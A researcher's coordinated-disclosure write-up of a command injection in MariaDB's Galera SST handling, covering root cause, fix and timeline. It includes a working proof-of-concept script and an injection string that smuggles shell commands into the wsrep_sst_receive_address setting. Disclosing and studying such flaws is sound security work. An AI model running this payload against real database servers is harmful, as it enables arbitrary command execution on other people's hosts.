August 7, 2026
MariaDB CVE-2026–48165: Authenticated Remote Code Execution through WSREP State Snapshot Transfer
How a missing validation check in Galera’s SST implementation allowed authenticated OS command execution.

By LETCHU PKT
3 min read
CVE: CVE-2026–48165 Severity: High CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command Affected Component: Galera Cluster (WSREP) SST implementation Attack Prerequisites:
- WSREP enabled
- Authenticated user with
SUPERprivilege - Ability to trigger a State Snapshot Transfer (SST)
Introduction
MariaDB's Galera Cluster provides synchronous multi-master replication using the WSREP provider.
When a new node joins a cluster, it performs a State Snapshot Transfer (SST) to synchronize its database.
During my security research on MariaDB, I discovered that one of the configuration variables used during SST,
wsrep_sst_receive_addresswsrep_sst_receive_addresswas insufficiently validated before being incorporated into a shell command.
Because the value eventually reaches:
sh -c "<generated command>"sh -c "<generated command>"an authenticated user with administrative database privileges can inject arbitrary shell commands, resulting in Remote Code Execution as the MariaDB server user.
This issue has been assigned:
CVE-2026–48165
Why This Matters
Normally MariaDB tries to prevent SQL users from escaping into the operating system through mechanisms like:
secure_file_privplugin_dir- disabled UDF loading
These protections restrict SQL-based paths to operating system execution.
However, this vulnerability completely bypasses those restrictions because the execution occurs inside the WSREP SST subsystem, not through SQL functions.
High Level Attack Flow
SET GLOBAL wsrep_sst_receive_address
│
▼
Validation only checks string length
│
▼
Address parser accepts arbitrary string
│
▼
SST command constructed with snprintf()
│
▼
Executed through
sh -c "<generated command>"
│
▼
Arbitrary OS Command ExecutionSET GLOBAL wsrep_sst_receive_address
│
▼
Validation only checks string length
│
▼
Address parser accepts arbitrary string
│
▼
SST command constructed with snprintf()
│
▼
Executed through
sh -c "<generated command>"
│
▼
Arbitrary OS Command ExecutionRoot Cause Analysis
Step 1 — Weak Validation
Whenever the global variable is updated,
SET GLOBAL wsrep_sst_receive_address = ...SET GLOBAL wsrep_sst_receive_address = ...MariaDB invokes
wsrep_sst_receive_address_check()wsrep_sst_receive_address_check()Its validation is extremely limited.
if ((!var->save_result.string_value.str) ||
(var->save_result.string_value.length > (FN_REFLEN - 1)))
{
goto err;
}if ((!var->save_result.string_value.str) ||
(var->save_result.string_value.length > (FN_REFLEN - 1)))
{
goto err;
}The function only verifies:
- value exists
- length is acceptable
It does not reject shell metacharacters, including:
'
;
&
|
`
$'
;
&
|
`
$As a result, attacker-controlled shell syntax is accepted.
Step 2 — Address Parsing
Later, SST preparation parses the value.
addr_in_parser = new wsp::Address(wsrep_sst_receive_address);addr_in_parser = new wsp::Address(wsrep_sst_receive_address);Internally,
wsp::Address::parse_addr()wsp::Address::parse_addr()accepts any string lacking a colon (:) as a hostname.
For example,
127.0.0.1';id>/tmp/pwned;echo'127.0.0.1';id>/tmp/pwned;echo'is treated as a valid hostname because no strict hostname/IP validation occurs.
Therefore:
m_valid = truem_valid = truedespite containing shell payloads.
Step 3 — Command Construction
The SST subsystem builds the shell command using:
snprintf(...)snprintf(...)Simplified:
wsrep_sst_<method>
--role 'joiner'
--address '<user input>'wsrep_sst_<method>
--role 'joiner'
--address '<user input>'Notice that user input is simply wrapped in single quotes.
If the attacker injects:
127.0.0.1'; id > /tmp/pwned ; echo '127.0.0.1'; id > /tmp/pwned ; echo 'the generated command becomes:
wsrep_sst_xtrabackup \
--address '127.0.0.1';
id > /tmp/pwned;
echo ''wsrep_sst_xtrabackup \
--address '127.0.0.1';
id > /tmp/pwned;
echo ''The attacker has escaped the quoted argument and injected arbitrary shell commands.
Step 4 — Shell Execution
The final command reaches
wsp::process::process()wsp::process::process()which launches:
char* argv[] =
{
"sh",
"-c",
cmd,
NULL
};char* argv[] =
{
"sh",
"-c",
cmd,
NULL
};through
posix_spawnp()posix_spawnp()At this point the shell interprets the injected payload.
Root Cause Diagram
User Input
│
▼
SET GLOBAL
│
▼
Length Check Only
│
▼
Address Parser
(No hostname validation)
│
▼
snprintf()
│
▼
sh -c
│
▼
OS Command ExecutionUser Input
│
▼
SET GLOBAL
│
▼
Length Check Only
│
▼
Address Parser
(No hostname validation)
│
▼
snprintf()
│
▼
sh -c
│
▼
OS Command ExecutionProof of Concept
Environment
- MariaDB Server
- WSREP enabled
- Galera Cluster installed
- Authenticated user with
SUPER
Step 1
Inject a malicious SST address.
SET GLOBAL wsrep_sst_receive_address =
'127.0.0.1\' ; id > /tmp/pwned ; echo \'';SET GLOBAL wsrep_sst_receive_address =
'127.0.0.1\' ; id > /tmp/pwned ; echo \'';Step 2
Trigger SST preparation.
For testing, changing the cluster address is sufficient to initiate SST preparation.
SET GLOBAL wsrep_cluster_address='gcomm://';SET GLOBAL wsrep_cluster_address='gcomm://';Step 3
Wait a few seconds.
sleep 2sleep 2Step 4
Verify command execution.
cat /tmp/pwnedcat /tmp/pwnedExample output:
uid=999(mysql)
gid=999(mysql)
groups=999(mysql)uid=999(mysql)
gid=999(mysql)
groups=999(mysql)The payload executes with the privileges of the MariaDB server process.
Complete PoC Script
#!/bin/bash
mysql -u root -e \
"SET GLOBAL wsrep_sst_receive_address='127.0.0.1\\' ; id > /tmp/pwned ; echo \\'';"
mysql -u root -e \
"SET GLOBAL wsrep_cluster_address='gcomm://';"
sleep 2
cat /tmp/pwned#!/bin/bash
mysql -u root -e \
"SET GLOBAL wsrep_sst_receive_address='127.0.0.1\\' ; id > /tmp/pwned ; echo \\'';"
mysql -u root -e \
"SET GLOBAL wsrep_cluster_address='gcomm://';"
sleep 2
cat /tmp/pwnedSecurity Impact
An attacker possessing SUPER privileges can execute arbitrary operating system commands as the MariaDB server account.
Potential consequences include:
- Reading sensitive application files
- Accessing database backups
- Credential theft
- Establishing persistence
- Lateral movement inside the host
- Bypassing SQL-level operating system restrictions
Although SUPER is already a privileged database role, database privileges do not inherently grant shell access to the underlying operating system. This vulnerability crosses that security boundary, enabling execution of arbitrary OS commands and significantly increasing the impact of a compromised or malicious administrative account.
Relation to Previous Vulnerabilities
This issue is conceptually similar to:
CVE-2021–27928
where another WSREP configuration parameter allowed shell injection.
That vulnerability was fixed by sanitizing user-controlled input before invoking SST helper scripts.
However,
wsrep_sst_receive_addresswsrep_sst_receive_addresswas overlooked and remained vulnerable until this discovery.
Fix
The vulnerability was addressed by sanitizing the user-controlled SST receive address before it reached shell execution.
The safest approaches include:
- strict hostname/IP validation
- rejecting shell metacharacters
- avoiding
sh -c - passing arguments directly to
execve()/posix_spawn()as an argument vector instead of constructing shell commands
Removing the shell entirely eliminates this class of vulnerabilities.
Timeline
- May 19, 2026 — Vulnerability responsibly disclosed to MariaDB.
- May 20, 2026 — MariaDB confirmed the vulnerability and changed the report status to Triaged.
- May 21, 2026 — The issue received CVE-2026–48165.
- June 2, 2026 — Security fix completed and report marked Resolved.
- August 2026 — Technical write-up published following coordinated disclosure.
Credits
Researcher: Lakshmikanthan K (letchu_pkt)
Security Researcher & DevSecOps Engineer
- GitHub: https://github.com/l3tchupkt
- LinkedIn: https://linkedin.com/in/lakshmikanthank
Final Thoughts
This vulnerability highlights a recurring security anti-pattern: validating input for length while overlooking how that input will be interpreted later. In this case, a value that appeared to be "just an address" ultimately crossed a trust boundary and was executed by a shell, turning a configuration parameter into an operating system command injection primitive.
The most robust defense is to avoid shell invocation for user-influenced data altogether. Passing validated arguments directly to process execution APIs eliminates an entire class of command injection vulnerabilities and reduces the risk of similar flaws resurfacing in future code paths.